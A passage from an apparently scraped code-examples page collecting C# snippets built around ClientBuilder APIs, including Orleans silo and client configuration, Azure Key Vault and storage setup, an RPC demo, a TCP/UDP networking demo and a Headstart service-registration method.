                var client = new RestClient(null, "http://172.16.135.116:9024", "http://172.16.0.205:10023");
                services.AddSingleton <RestClient>(client);
                services.AddSingleton <IDeviceMonitorService, DeviceMonitorService>();
                services.AddSingleton <IDeviceMonitorClient, DeviceMonitorClient>();

                services.AddTransient <ITaskHandlerFactory, TaskHandlerFactory>(sp => TaskHandlerFactory.Create(sp));
                services.AddSingleton <IGrainServiceDataBack, GrainServiceDataBack>();
                services.AddAutoMapper(typeof(GlobalProfile));
                services.AddSingletonNamedService <PlacementStrategy, ScheduleTaskPlacementStrategy>(nameof(ScheduleTaskPlacementStrategy));
                services.AddSingletonKeyedService <Type, IPlacementDirector, ScheduleTaskPlacementSiloDirector>(typeof(ScheduleTaskPlacementStrategy));
            })
                .UseDevelopmentClustering(options => options.PrimarySiloEndpoint = new IPEndPoint(siloAddress, siloPort))
                .UseInMemoryReminderService()
                .ConfigureEndpoints(siloAddress, siloPort, gatewayPort)
                .Configure <ClusterOptions>(options =>
            {
                options.ClusterId = "helloworldcluster";
                options.ServiceId = "1";
            })
                .ConfigureApplicationParts(appParts => appParts.AddApplicationPart(typeof(TestCalls).Assembly))
                .ConfigureApplicationParts(appParts => appParts.AddApplicationPart(typeof(IngestTestGrain.TestCalls).Assembly))
                .ConfigureApplicationParts(parts => parts.AddFromApplicationBaseDirectory())
                .ConfigureLogging(builder =>
            {
                builder.AddConsole();
            })
                .ConfigureAppConfiguration((config) =>
            {
                config.AddJsonFile("appsettings.json", optional: true, reloadOnChange: false);

                var dic = new Dictionary <string, string>();

                string fileName = "publicsetting.xml";
                string path     = string.Empty;
                if ((Environment.OSVersion.Platform == PlatformID.Unix) || (Environment.OSVersion.Platform == PlatformID.MacOSX))
                {
                    //str = string.Format(@"{0}/{1}", System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase, fileName);
                    path = '/' + fileName;
                }
                else
                {
                    path = AppDomain.CurrentDomain.BaseDirectory.Replace("\\", "/") + "/" + fileName;
                }

                if (File.Exists(path))
                {
                    XDocument xd = new XDocument();
                    xd           = XDocument.Load(path);
                    XElement ps  = xd.Element("PublicSetting");
                    XElement sys = ps.Element("System");

                    string vip = sys.Element("Sys_VIP").Value;
                    dic.Add("VIP", vip);
                    dic.Add("IngestDBSvr", CreateConfigURI(sys.Element("IngestDBSvr").Value));
                    dic.Add("IngestDEVCTL", CreateConfigURI(sys.Element("IngestDEVCTL").Value));
                    dic.Add("CMWindows", CreateConfigURI(sys.Element("CMserver_windows").Value));
                    dic.Add("CMServer", CreateConfigURI(sys.Element("CMServer").Value));
                    config.AddInMemoryCollection(dic);
                }
            })
                .AddMemoryGrainStorageAsDefault()
                .AddMemoryGrainStorage("PubSubStore")
                .AddGrainService <DeviceMonitorService>()
                .AddSimpleMessageStreamProvider(StreamProviderName.Default)
                .UseInMemoryReminderService()
                .UseDashboard(options =>
            {
                options.HostSelf  = true;
                options.HideTrace = false;
            })
                .Build();

            silo.StartAsync().Wait();

            var client =
                new ClientBuilder()
                .UseStaticClustering(options => options.Gateways.Add((new IPEndPoint(siloAddress, gatewayPort)).ToGatewayUri()))
                .Configure <ClusterOptions>(options =>
            {
                options.ClusterId = "helloworldcluster";
                options.ServiceId = "1";
            })
                .ConfigureApplicationParts(appParts => appParts.AddApplicationPart(typeof(TestCalls).Assembly))
                .ConfigureApplicationParts(appParts => appParts.AddApplicationPart(typeof(IngestTestGrain.TestCalls).Assembly))
                .ConfigureApplicationParts(appParts => appParts.AddApplicationPart(typeof(IngestTestGrain.TestCalls).Assembly))
                .ConfigureApplicationParts(parts => parts.AddFromApplicationBaseDirectory())
                .ConfigureLogging(builder =>
            {
                builder.AddConsole();
            })
                .Build();

            client.Connect().Wait();

            var cts = new CancellationTokenSource();

            //TestCalls.Make(client, cts);
            IngestTestGrain.TestCalls.Make(client, cts);

            Console.WriteLine("Press key to exit...");
            Console.ReadLine();

            cts.Cancel();

            silo.StopAsync().Wait();
        }
Esempio n. 22
0
        protected override BlockBlobClient GetResourceClient(BlobContainerClient container, string resourceName = null, BlobClientOptions options = null)
        {
            Argument.AssertNotNull(container, nameof(container));

            string blobName = resourceName ?? GetNewResourceName();

            if (options != null)
            {
                container = InstrumentClient(new BlobContainerClient(container.Uri, Tenants.GetNewSharedKeyCredentials(), options ?? ClientBuilder.GetOptions()));
            }

            return(InstrumentClient(container.GetBlockBlobClient(blobName)));
        }
Esempio n. 23
0
        public override void Configure(IFunctionsHostBuilder builder)
        {
            AzureServiceTokenProvider azureServiceTokenProvider = new AzureServiceTokenProvider();
            var    keyVaultClient = new KeyVaultClient(new KeyVaultClient.AuthenticationCallback(azureServiceTokenProvider.KeyVaultTokenCallback));
            string keyVault       = Environment.GetEnvironmentVariable("KeyVault");
            string DnsHost        = Environment.GetEnvironmentVariable("DnsHost");
            var    storSECRET     = keyVaultClient.GetSecretAsync(keyVault).Result.Value;
            string ip             = "127.0.0.1";

            if (DnsHost != "localhost")  // Don't resolve localhost, just use the loopback IP
            {
                ip = Dns.GetHostAddresses(DnsHost)[0].ToString();
            }
            // RUNNING THE HOST INPROC WITH THE CLIENT PROXY ---
            // If you want to run the proxy as a sidecar in the same host as the function app, just on another thread
            // This a) is extremely experimental
            // This b) will probably break at some point
            // But right now it does work, and it's FAST

            // // THIS IS OPTIONAL
            // var hb = new HostBuilder()
            // .UseOrleans(builder =>
            // {
            //    builder.Configure<ClusterOptions>(options =>
            //    {
            //        options.ClusterId = "will";
            //        options.ServiceId = "WillsService";
            //    });
            //    builder.UseAzureStorageClustering(options => options.ConnectionString = storSECRET);
            //    builder.AddAzureTableGrainStorage(
            //        name: "myGrainStorage",
            //        configureOptions: options =>
            //        {
            //            options.UseJson = true;
            //            options.ConnectionString = storSECRET;
            //        });
            //    builder.Configure<ProcessExitHandlingOptions>(options =>
            //    {
            //        options.FastKillOnProcessExit = false;
            //    });
            //    builder.ConfigureEndpoints(IPAddress.Parse(ip), 33350, 20010, true);
            //    builder.ConfigureApplicationParts(parts => parts.AddApplicationPart(typeof(VoteCountGrain).Assembly).WithReferences());
            //    builder.ConfigureApplicationParts(parts => parts.AddApplicationPart(typeof(ITreeIndexNode<IndexedCustomer>).Assembly).WithReferences());
            //    builder.ConfigureLogging(logging => logging.AddConsole());
            //    builder.ConfigureLogging(logging => logging.SetMinimumLevel(LogLevel.Warning));
            // });

            // Task nt = Task.Factory.StartNew(() => hb.RunConsoleAsync());
            // END OF OPTIONAL CODE

            // Start the Client
            IClusterClient cb = new ClientBuilder()
                                .Configure <ClusterOptions>(options => {
                options.ClusterId = "will";
                options.ServiceId = "WillsService";
            })
                                .Configure <ClientMessagingOptions>(o2 => {
                o2.LocalAddress = System.Net.IPAddress.Parse("127.0.0.1");
            })
                                .UseAzureStorageClustering(options => options.ConnectionString = storSECRET)
                                .ConfigureApplicationParts(parts => parts.AddApplicationPart(typeof(IVote).Assembly))
                                .ConfigureLogging(logging => logging.AddConsole())
                                .ConfigureLogging(logging => logging.SetMinimumLevel(LogLevel.Warning))
                                .Build();

            cb.Connect().Wait();

            // Inject
            builder.Services.AddSingleton <IClusterClient>(cb);
        }
Esempio n. 24
0
        static void Main(string[] args)
        {
            //1从NUGET 添加ZYNET 最新版本
            //2项目中添加FodyWeavers.xml
            //3修改FodyWeavers.xml文件内容
            //<Weavers>
            //  <InterfaceFodyAddin/>
            //</Weavers>
            //4 using ZYNet.CloudSystem.Client.Bulider


            var client = new ClientBuilder().Bulid(); //5 创建一个client对象

            //创建一个对象共服务器访问
            //为什么要这样的设计?因为这样的设计兼容性更广泛,你可以随时在一个对象当中 install(this),来注册自身提供服务,
            //而不需要写一些特定的访问实现,加大了复杂度,比如我们可以在 winform窗体对象里面注册当前窗体对象.
            //如果我install多个对象,多个对象里面都有一样的TAG 咋办?这里采用替换法,后注册的会覆盖前面的TAG
            client.Install(new ClientConroller());

            if (client.Init("127.0.0.1", 777))                                   //6连接服务器 这里可以是IP地址或者url
            {
                client.Get <IService>().ServerShowMsg("hello world");            //8在服务器上显示hello world

                var res = client.Get <IService>().ServerShowMsg2("hello world"); //让服务器显示helloworld 方式2
                Console.WriteLine("服务器调用:{0}", res ? "成功" : "失败");


                var stop = System.Diagnostics.Stopwatch.StartNew(); //我们来记个时
                //好了,我们让1W去递归成0吧
                var c = client.Get <IService>().NumberToOne(10000);
                stop.Stop();
                Console.WriteLine($"我成功递归到了:{c},耗时:{stop.ElapsedMilliseconds} 毫秒");



                //我们可以在服务器上写个ADD方法传入一个int,让它加1后返回
                stop.Restart();
                int i = 0;
                while (i < 100000)
                {
                    i = client.Get <IService>().AddOne(i);
                }
                stop.Stop();
                Console.WriteLine($"我ADD到了:{i},耗时:{stop.ElapsedMilliseconds} 毫秒");


                //我们可以给服务器定义一个ADDIT 方法,服务器对象中建立一个int 值,每次调用Addit 就给int加上参数;

                stop.Restart();
                for (int v = 0; v < 100000; v++)
                {
                    client.Get <IService>().Addit(v);
                }
                var x = client.Get <IService>().Getit();
                stop.Stop();

                Console.WriteLine($"结果为:{x},耗时:{stop.ElapsedMilliseconds} 毫秒");

                //我们测算下并行看看服务器会不会出现线程问题

                stop.Restart();
                var serv = client.Get <IService>();
                Parallel.For(0, 100000, v =>
                {
                    serv.Addit(v);
                });
                x = client.Get <IService>().Getit();
                stop.Stop();

                Console.WriteLine($"结果为:{x},耗时:{stop.ElapsedMilliseconds} 毫秒");
            }
            else
            {
                Console.WriteLine("not connect server");
            }

            Console.ReadKey();
        }
Esempio n. 25
0
        public void ClientBuilder_DoubleSpecifyConfigurationTest()
        {
            var builder = new ClientBuilder().UseConfiguration(new ClientConfiguration());

            Assert.Throws <InvalidOperationException>(() => builder.UseConfiguration(new ClientConfiguration()));
        }
Esempio n. 26
0
 public static ClientBuilder UseGrpc(this ClientBuilder builder, string serverAddress, string host, int port)
 {
     return(builder.SetConnection(new GrpcClientConnectionBuilder(serverAddress, host, port)));
 }
Esempio n. 27
0
 public DataLakeTestBase(bool async, DataLakeClientOptions.ServiceVersion serviceVersion, RecordedTestMode?mode = null)
     : base(async, mode)
 {
     _serviceVersion       = serviceVersion;
     DataLakeClientBuilder = ClientBuilderExtensions.GetNewDataLakeClientBuilder(Tenants, _serviceVersion);
 }
Esempio n. 28
0
        static void Main(string[] args)
        {
            var server = new ServerBuilder()
                         .UseTcp(1000)
                         .UseUdp(5000)
                         .RegisterPacketHandlerModule <DefaultPacketHandlerModule>()
                         .RegisterPacketHandlerModule <ExamplePacketHandlerModule>()
                         .UseZeroFormatter()
                         .ConfigureLogging(loggingBuilder =>
            {
                loggingBuilder.AddConsole();
                loggingBuilder.SetMinimumLevel(
                    LogLevel.Debug);
            })
                         .Build();

            server.Start();

            server.ServerInformationUpdated += (sender, eventArgs) =>
            {
                var dateTime = DateTime.UtcNow;

                Console.WriteLine(
                    $"{dateTime} {eventArgs.ProcessedTcpPackets} TCP Packets Processed");
                Console.WriteLine(
                    $"{dateTime} {eventArgs.InvalidTcpPackets} Invalid or Lost TCP Packets");
                Console.WriteLine(
                    $"{dateTime} {eventArgs.ProcessedUdpPackets} UDP Packets Processed");
                Console.WriteLine(
                    $"{dateTime} {eventArgs.InvalidUdpPackets} Invalid or Lost UDP Packets");
                Console.WriteLine(
                    $"{dateTime} {eventArgs.TcpConnections} TCP connections active");
            };
            server.ClientConnected += (sender, eventArgs) =>
            {
                Console.WriteLine(
                    $"Client Connected - {eventArgs.Connection.Socket.RemoteEndPoint}");
            };
            server.ClientDisconnected += (sender, eventArgs) =>
            {
                Console.WriteLine(
                    $"Client Disconnected - {eventArgs.Connection.Socket.RemoteEndPoint}");
            };

            for (var i = 0; i < 10; i++)
            {
                try
                {
                    var client = new ClientBuilder().UseIp("127.0.0.1")
                                 .UseTcp(1000)
                                 .UseUdp(5000)
                                 .RegisterPacketHandler <PingPacket,
                                                         ClientPingPacketHandler>()
                                 .UseZeroFormatter()
                                 .Build();

                    client.Connect();

                    Task.Factory.StartNew(() =>
                    {
                        while (true)
                        {
                            client.Send(new PingPacket
                            {
                                Time = DateTime.UtcNow
                            });

                            client.Send(new TestPacketThing());
                            client.SendUdp(new TestPacketOtherThing());
                            Thread.Sleep(10);
                        }
                    });
                }
                catch (Exception e)
                {
                    Console.WriteLine(e);
                }
            }

            Task.Factory.StartNew(() =>
            {
                while (true)
                {
                    server.Broadcast(new PingPacket
                    {
                        Time = DateTime.UtcNow
                    });

                    Thread.Sleep(10000);
                }
            });

            Console.ReadLine();
        }
Esempio n. 29
0
        // This method gets called by the runtime. Use this method to add services to the container.
        // For more information on how to configure your application, visit https://go.microsoft.com/fwlink/?LinkID=398940
        public void ConfigureServices(IServiceCollection services)
        {
            var cosmosConfig = new CosmosConfig(
                _settings.CosmosSettings.DatabaseName,
                _settings.CosmosSettings.EndpointUri,
                _settings.CosmosSettings.PrimaryKey,
                _settings.CosmosSettings.RequestTimeoutInSeconds
                );
            var cosmosContainers = new List <ContainerInfo>()
            {
                new ContainerInfo()
                {
                    Name         = "rmas",
                    PartitionKey = "PartitionKey"
                }
            };

            var avalaraConfig = new AvalaraConfig()
            {
                BaseApiUrl  = _settings.AvalaraSettings.BaseApiUrl,
                AccountID   = _settings.AvalaraSettings.AccountID,
                LicenseKey  = _settings.AvalaraSettings.LicenseKey,
                CompanyCode = _settings.AvalaraSettings.CompanyCode,
                CompanyID   = _settings.AvalaraSettings.CompanyID
            };

            var currencyConfig = new BlobServiceConfig()
            {
                ConnectionString = _settings.BlobSettings.ConnectionString,
                Container        = _settings.BlobSettings.ContainerNameExchangeRates
            };
            var middlewareErrorsConfig = new BlobServiceConfig()
            {
                ConnectionString = _settings.BlobSettings.ConnectionString,
                Container        = "unhandled-errors-log"
            };

            var flurlClientFactory    = new PerBaseUrlFlurlClientFactory();
            var smartyStreetsUsClient = new ClientBuilder(_settings.SmartyStreetSettings.AuthID, _settings.SmartyStreetSettings.AuthToken).BuildUsStreetApiClient();

            services
            .AddSingleton <ISimpleCache, LazyCacheService>()    // Replace LazyCacheService with RedisService if you have multiple server instances.
            .ConfigureServices()
            .AddOrderCloudUserAuth <AppSettings>()
            .AddOrderCloudWebhookAuth(opts => opts.HashKey = _settings.OrderCloudSettings.WebhookHashKey)
            .InjectCosmosStore <LogQuery, OrchestrationLog>(cosmosConfig)
            .InjectCosmosStore <ReportTemplateQuery, ReportTemplate>(cosmosConfig)
            .AddCosmosDb(_settings.CosmosSettings.EndpointUri, _settings.CosmosSettings.PrimaryKey, _settings.CosmosSettings.DatabaseName, cosmosContainers)
            .Inject <IPortalService>()
            .Inject <ISmartyStreetsCommand>()
            .Inject <ICheckoutIntegrationCommand>()
            .Inject <IShipmentCommand>()
            .Inject <IOrderCommand>()
            .Inject <IPaymentCommand>()
            .Inject <IOrderSubmitCommand>()
            .Inject <IEnvironmentSeedCommand>()
            .Inject <IHSProductCommand>()
            .Inject <ILineItemCommand>()
            .Inject <IMeProductCommand>()
            .Inject <IHSCatalogCommand>()
            .Inject <ISendgridService>()
            .Inject <IHSSupplierCommand>()
            .Inject <ICreditCardCommand>()
            .Inject <ISupportAlertService>()
            .Inject <IOrderCalcService>()
            .Inject <ISupplierApiClientHelper>()
            .AddSingleton <ICMSClient>(new CMSClient(new CMSClientConfig()
            {
                BaseUrl = _settings.CMSSettings.BaseUrl
            }))
            .AddSingleton <ISendGridClient>(x => new SendGridClient(_settings.SendgridSettings.ApiKey))
            .AddSingleton <IFlurlClientFactory>(x => flurlClientFactory)
            .AddSingleton <DownloadReportCommand>()
            .Inject <IRMARepo>()
            .Inject <IZohoClient>()
            .AddSingleton <IZohoCommand>(z => new ZohoCommand(new ZohoClient(
                                                                  new ZohoClientConfig()
            {
                ApiUrl         = "https://books.zoho.com/api/v3",
                AccessToken    = _settings.ZohoSettings.AccessToken,
                ClientId       = _settings.ZohoSettings.ClientId,
                ClientSecret   = _settings.ZohoSettings.ClientSecret,
                OrganizationID = _settings.ZohoSettings.OrgID
            }, flurlClientFactory),
                                                              new OrderCloudClient(new OrderCloudClientConfig
            {
                ApiUrl       = _settings.OrderCloudSettings.ApiUrl,
                AuthUrl      = _settings.OrderCloudSettings.ApiUrl,
                ClientId     = _settings.OrderCloudSettings.MiddlewareClientID,
                ClientSecret = _settings.OrderCloudSettings.MiddlewareClientSecret,
                Roles        = new[] { ApiRole.FullAccess }
            })))
            .AddSingleton <IOrderCloudIntegrationsExchangeRatesClient, OrderCloudIntegrationsExchangeRatesClient>()
            .AddSingleton <IExchangeRatesCommand>(provider => new ExchangeRatesCommand(currencyConfig, flurlClientFactory, provider.GetService <IAppCache>()))
            .AddSingleton <IAvalaraCommand>(x => new AvalaraCommand(
                                                avalaraConfig,
                                                new AvaTaxClient("four51_headstart", "v1", "four51_headstart", new Uri(avalaraConfig.BaseApiUrl)
                                                                 ).WithSecurity(_settings.AvalaraSettings.AccountID, _settings.AvalaraSettings.LicenseKey)))
            .AddSingleton <IEasyPostShippingService>(x => new EasyPostShippingService(new EasyPostConfig()
            {
                APIKey = _settings.EasyPostSettings.APIKey
            }))
            .AddSingleton <ISmartyStreetsService>(x => new SmartyStreetsService(_settings.SmartyStreetSettings, smartyStreetsUsClient))
            .AddSingleton <IOrderCloudIntegrationsCardConnectService>(x => new OrderCloudIntegrationsCardConnectService(_settings.CardConnectSettings, flurlClientFactory))
            .AddSingleton <IOrderCloudClient>(provider => new OrderCloudClient(new OrderCloudClientConfig
            {
                ApiUrl       = _settings.OrderCloudSettings.ApiUrl,
                AuthUrl      = _settings.OrderCloudSettings.ApiUrl,
                ClientId     = _settings.OrderCloudSettings.MiddlewareClientID,
                ClientSecret = _settings.OrderCloudSettings.MiddlewareClientSecret,
                Roles        = new[]
                {
                    ApiRole.FullAccess
                }
            }))
            .AddSwaggerGen(c =>
            {
                c.SwaggerDoc("v1", new OpenApiInfo {
                    Title = "Headstart API", Version = "v1"
                });
                c.CustomSchemaIds(x => x.FullName);
            });
            var serviceProvider = services.BuildServiceProvider();

            services
            .AddApplicationInsightsTelemetry(new ApplicationInsightsServiceOptions
            {
                EnableAdaptiveSampling = false,     // retain all data
                InstrumentationKey     = _settings.ApplicationInsightsSettings.InstrumentationKey
            });


            ServicePointManager.DefaultConnectionLimit       = int.MaxValue;
            FlurlHttp.Configure(settings => settings.Timeout = TimeSpan.FromSeconds(_settings.FlurlSettings.TimeoutInSeconds));
        }
Esempio n. 30
0
        // This method gets called by the runtime. Use this method to add services to the container.
        // For more information on how to configure your application, visit https://go.microsoft.com/fwlink/?LinkID=398940
        public void ConfigureServices(IServiceCollection services)
        {
            var cosmosConfig = new CosmosConfig(
                _settings.CosmosSettings.DatabaseName,
                _settings.CosmosSettings.EndpointUri,
                _settings.CosmosSettings.PrimaryKey,
                _settings.CosmosSettings.RequestTimeoutInSeconds
                );
            var cosmosContainers = new List <ContainerInfo>()
            {
                new ContainerInfo()
                {
                    Name         = "rmas",
                    PartitionKey = "PartitionKey"
                }
            };

            var avalaraConfig = new AvalaraConfig()
            {
                BaseApiUrl  = _settings.AvalaraSettings.BaseApiUrl,
                AccountID   = _settings.AvalaraSettings.AccountID,
                LicenseKey  = _settings.AvalaraSettings.LicenseKey,
                CompanyCode = _settings.AvalaraSettings.CompanyCode,
                CompanyID   = _settings.AvalaraSettings.CompanyID
            };

            var currencyConfig = new BlobServiceConfig()
            {
                ConnectionString = _settings.BlobSettings.ConnectionString,
                Container        = _settings.BlobSettings.ContainerNameExchangeRates
            };
            var middlewareErrorsConfig = new BlobServiceConfig()
            {
                ConnectionString = _settings.BlobSettings.ConnectionString,
                Container        = "unhandled-errors-log"
            };
            var assetConfig = new BlobServiceConfig()
            {
                ConnectionString = _settings.BlobSettings.ConnectionString,
                Container        = "assets",
                AccessType       = BlobContainerPublicAccessType.Container
            };

            var flurlClientFactory    = new PerBaseUrlFlurlClientFactory();
            var smartyStreetsUsClient = new ClientBuilder(_settings.SmartyStreetSettings.AuthID, _settings.SmartyStreetSettings.AuthToken).BuildUsStreetApiClient();

            services
            .Configure <KestrelServerOptions>(options =>
            {
                options.AllowSynchronousIO = true;
            })
            .Configure <IISServerOptions>(options =>
            {
                options.AllowSynchronousIO = true;
            })
            .AddSingleton <ISimpleCache, OrderCloud.Common.Services.LazyCacheService>()    // Replace LazyCacheService with RedisService if you have multiple server instances.
            .ConfigureServices()
            .AddOrderCloudUserAuth()
            .AddOrderCloudWebhookAuth(opts => opts.HashKey = _settings.OrderCloudSettings.WebhookHashKey)
            .InjectCosmosStore <LogQuery, OrchestrationLog>(cosmosConfig)
            .InjectCosmosStore <ReportTemplateQuery, ReportTemplate>(cosmosConfig)
            .AddCosmosDb(_settings.CosmosSettings.EndpointUri, _settings.CosmosSettings.PrimaryKey, _settings.CosmosSettings.DatabaseName, cosmosContainers)
            .Inject <IPortalService>()
            .Inject <ISmartyStreetsCommand>()
            .Inject <ICheckoutIntegrationCommand>()
            .Inject <IShipmentCommand>()
            .Inject <IOrderCommand>()
            .Inject <IPaymentCommand>()
            .Inject <IOrderSubmitCommand>()
            .Inject <IEnvironmentSeedCommand>()
            .Inject <IHSProductCommand>()
            .Inject <ILineItemCommand>()
            .Inject <IMeProductCommand>()
            .Inject <IHSCatalogCommand>()
            .Inject <ISendgridService>()
            .Inject <IHSSupplierCommand>()
            .Inject <ICreditCardCommand>()
            .Inject <ISupportAlertService>()
            .Inject <IOrderCalcService>()
            .Inject <IUserContextProvider>()
            .Inject <ISupplierApiClientHelper>()
            .AddSingleton <ISendGridClient>(x => new SendGridClient(_settings.SendgridSettings.ApiKey))
            .AddSingleton <IFlurlClientFactory>(x => flurlClientFactory)
            .AddSingleton <DownloadReportCommand>()
            .Inject <IRMARepo>()
            .Inject <IZohoClient>()
            .AddSingleton <IZohoCommand>(z => new ZohoCommand(new ZohoClient(
                                                                  new ZohoClientConfig()
            {
                ApiUrl         = "https://books.zoho.com/api/v3",
                AccessToken    = _settings.ZohoSettings.AccessToken,
                ClientId       = _settings.ZohoSettings.ClientId,
                ClientSecret   = _settings.ZohoSettings.ClientSecret,
                OrganizationID = _settings.ZohoSettings.OrgID
            }, flurlClientFactory),
                                                              new OrderCloudClient(new OrderCloudClientConfig
            {
                ApiUrl       = _settings.OrderCloudSettings.ApiUrl,
                AuthUrl      = _settings.OrderCloudSettings.ApiUrl,
                ClientId     = _settings.OrderCloudSettings.MiddlewareClientID,
                ClientSecret = _settings.OrderCloudSettings.MiddlewareClientSecret,
                Roles        = new[] { ApiRole.FullAccess }
            })))
            .AddSingleton <IOrderCloudIntegrationsExchangeRatesClient, OrderCloudIntegrationsExchangeRatesClient>()
            .AddSingleton <IAssetClient>(provider => new AssetClient(new OrderCloudIntegrationsBlobService(assetConfig), _settings))
            .AddSingleton <IExchangeRatesCommand>(provider => new ExchangeRatesCommand(new OrderCloudIntegrationsBlobService(currencyConfig), flurlClientFactory, provider.GetService <ISimpleCache>()))
            .AddSingleton <IAvalaraCommand>(x => new AvalaraCommand(
                                                avalaraConfig,
                                                new AvaTaxClient("four51_headstart", "v1", "four51_headstart", new Uri(avalaraConfig.BaseApiUrl)
                                                                 ).WithSecurity(_settings.AvalaraSettings.AccountID, _settings.AvalaraSettings.LicenseKey)))
            .AddSingleton <IEasyPostShippingService>(x => new EasyPostShippingService(new EasyPostConfig()
            {
                APIKey = _settings.EasyPostSettings.APIKey
            }))
            .AddSingleton <ISmartyStreetsService>(x => new SmartyStreetsService(_settings.SmartyStreetSettings, smartyStreetsUsClient))
            .AddSingleton <IOrderCloudIntegrationsCardConnectService>(x => new OrderCloudIntegrationsCardConnectService(_settings.CardConnectSettings, flurlClientFactory))
            .AddSingleton <IOrderCloudClient>(provider => new OrderCloudClient(new OrderCloudClientConfig
            {
                ApiUrl       = _settings.OrderCloudSettings.ApiUrl,
                AuthUrl      = _settings.OrderCloudSettings.ApiUrl,
                ClientId     = _settings.OrderCloudSettings.MiddlewareClientID,
                ClientSecret = _settings.OrderCloudSettings.MiddlewareClientSecret,
                Roles        = new[]
                {
                    ApiRole.FullAccess
                }
            }))
            .AddSwaggerGen(c =>
            {
                c.SwaggerDoc("v1", new OpenApiInfo {
                    Title = "Headstart API", Version = "v1"
                });
                c.CustomSchemaIds(x => x.FullName);
            });
            var serviceProvider = services.BuildServiceProvider();

            services
            .AddApplicationInsightsTelemetry(new ApplicationInsightsServiceOptions
            {
                EnableAdaptiveSampling = false,     // retain all data
                InstrumentationKey     = _settings.ApplicationInsightsSettings.InstrumentationKey
            });


            ServicePointManager.DefaultConnectionLimit       = int.MaxValue;
            FlurlHttp.Configure(settings => settings.Timeout = TimeSpan.FromSeconds(_settings.FlurlSettings.TimeoutInSeconds == 0 ? 30 : _settings.FlurlSettings.TimeoutInSeconds));

            // This adds retry logic for any api call that fails with a transient error (server errors, timeouts, or rate limiting requests)
            // Will retry up to 3 times using exponential backoff and jitter, a mean of 3 seconds wait time in between retries
            // https://github.com/App-vNext/Polly/wiki/Retry-with-jitter#more-complex-jitter
            var delay  = Backoff.DecorrelatedJitterBackoffV2(medianFirstRetryDelay: TimeSpan.FromSeconds(3), retryCount: 3);
            var policy = HttpPolicyExtensions
                         .HandleTransientHttpError()
                         .OrResult(response => response.StatusCode == HttpStatusCode.TooManyRequests)
                         .WaitAndRetryAsync(delay);

            FlurlHttp.Configure(settings => settings.HttpClientFactory = new PollyFactory(policy));
        }
Esempio n. 31
0
        private static async Task <int> Connect(
            string addressString, string portString,
            string localAddressString, string localPortString)
        {
            var remoteEndPoint = ParseEndPoint(addressString, portString);
            var localEndPoint  = ParseEndPoint(localAddressString, localPortString);

            var builder = new ClientBuilder();

            builder.AddDebugging(LogEventLevel.Verbose);
            builder.AddPeers()
            .AddPeerListener <PeerHandler>();
            builder.AddState()
            .AddStateListener <StateHandler>()
            .UpdatePeers()
            .AddStateListener <StateHandler>();
            builder.ConnectTo(options =>
            {
                options.RemoteEndPoint = remoteEndPoint;
                options.LocalEndPoint  = null;//localEndPoint;
            });
            var client = builder.Build();

            client.OnConnected += clientId =>
            {
                client.ServiceProvider.GetRequiredService <ILogger>().Information("Client connected; assigned {ClientId:s}", clientId);
                return(Task.CompletedTask);
            };
            client.OnDisconnected += clientId =>
            {
                client.ServiceProvider.GetRequiredService <ILogger>().Information("Client disconnected as {ClientId:s}", clientId);
                _closedEvent.Set();
                return(Task.CompletedTask);
            };

            await client.StartAsync();

            var _ = Task.Run(async() =>
            {
                var position = new StateMessage
                {
                    X = 0,
                    Y = 0
                };
                var random = new Random();
                while (true)
                {
                    await Task.Delay(1000);

                    position = client.State().GetState() == null ? position : (StateMessage)client.State().GetState();

                    position.X += random.NextDouble() - .5;
                    position.Y += random.NextDouble() - .5;

                    var logger = client.ServiceProvider.GetRequiredService <ILogger>();
                    logger.ForContext <Program>().Information("Client {ClientId:s} sending state = {Position}", client.Id, position);
                    await client.UpdateStateAsync(position);
                }
            });
            await _closedEvent.WaitAsync();

            return(0);
        }
        public static async Task <IClusterClient> InitializeClient(string[] args)
        {
            int initializeCounter = 0;

            var initSucceed = false;

            while (!initSucceed)
            {
                try
                {
                    var builder = new ClientBuilder();
                    var client  = builder
                                  .Configure <ClusterOptions>(options =>
                    {
                        options.ClusterId = Constants.ClusterId;
                        options.ServiceId = Constants.ServiceId;
                    })
                                  .AddRabbitMqStream(Constants.StreamProviderNameDefault, configurator =>
                    {
                        configurator.ConfigureRabbitMq
                        (
                            host: "elevate.rabbit.local",
                            port: Constants.RmqProxyPort,
                            virtualHost: "/",
                            user: "******",
                            password: "******",
                            queueName: Constants.StreamNameSpaceCustomers
                        );
                    })
                                  .UseLocalhostClustering()
                                  .ConfigureServices(x => x
                                                     .AddSingleton <ConnectionToClusterLostHandler>((s, e) => OnClusterConnectionLost()))
                                  .ConfigureApplicationParts(parts =>
                                                             parts
                                                             .AddApplicationPart(typeof(IChatUser).Assembly)
                                                             .WithReferences()
                                                             .WithCodeGeneration()
                                                             )
                                  .ConfigureLogging(logging => logging.AddConsole())
                                  .UseOrleankka()
                                  .Build();

                    await client.Connect();

                    initSucceed = client.IsInitialized;

                    if (initSucceed)
                    {
                        return(client);
                    }
                }
                catch (Exception exc)
                {
                    Console.WriteLine(exc.Message);
                    initSucceed = false;
                }

                if (initializeCounter++ > 10)
                {
                    return(null);
                }

                Console.WriteLine("Client Init Failed. Sleeping 5s...");
                Thread.Sleep(TimeSpan.FromSeconds(5));
            }

            return(null);
        }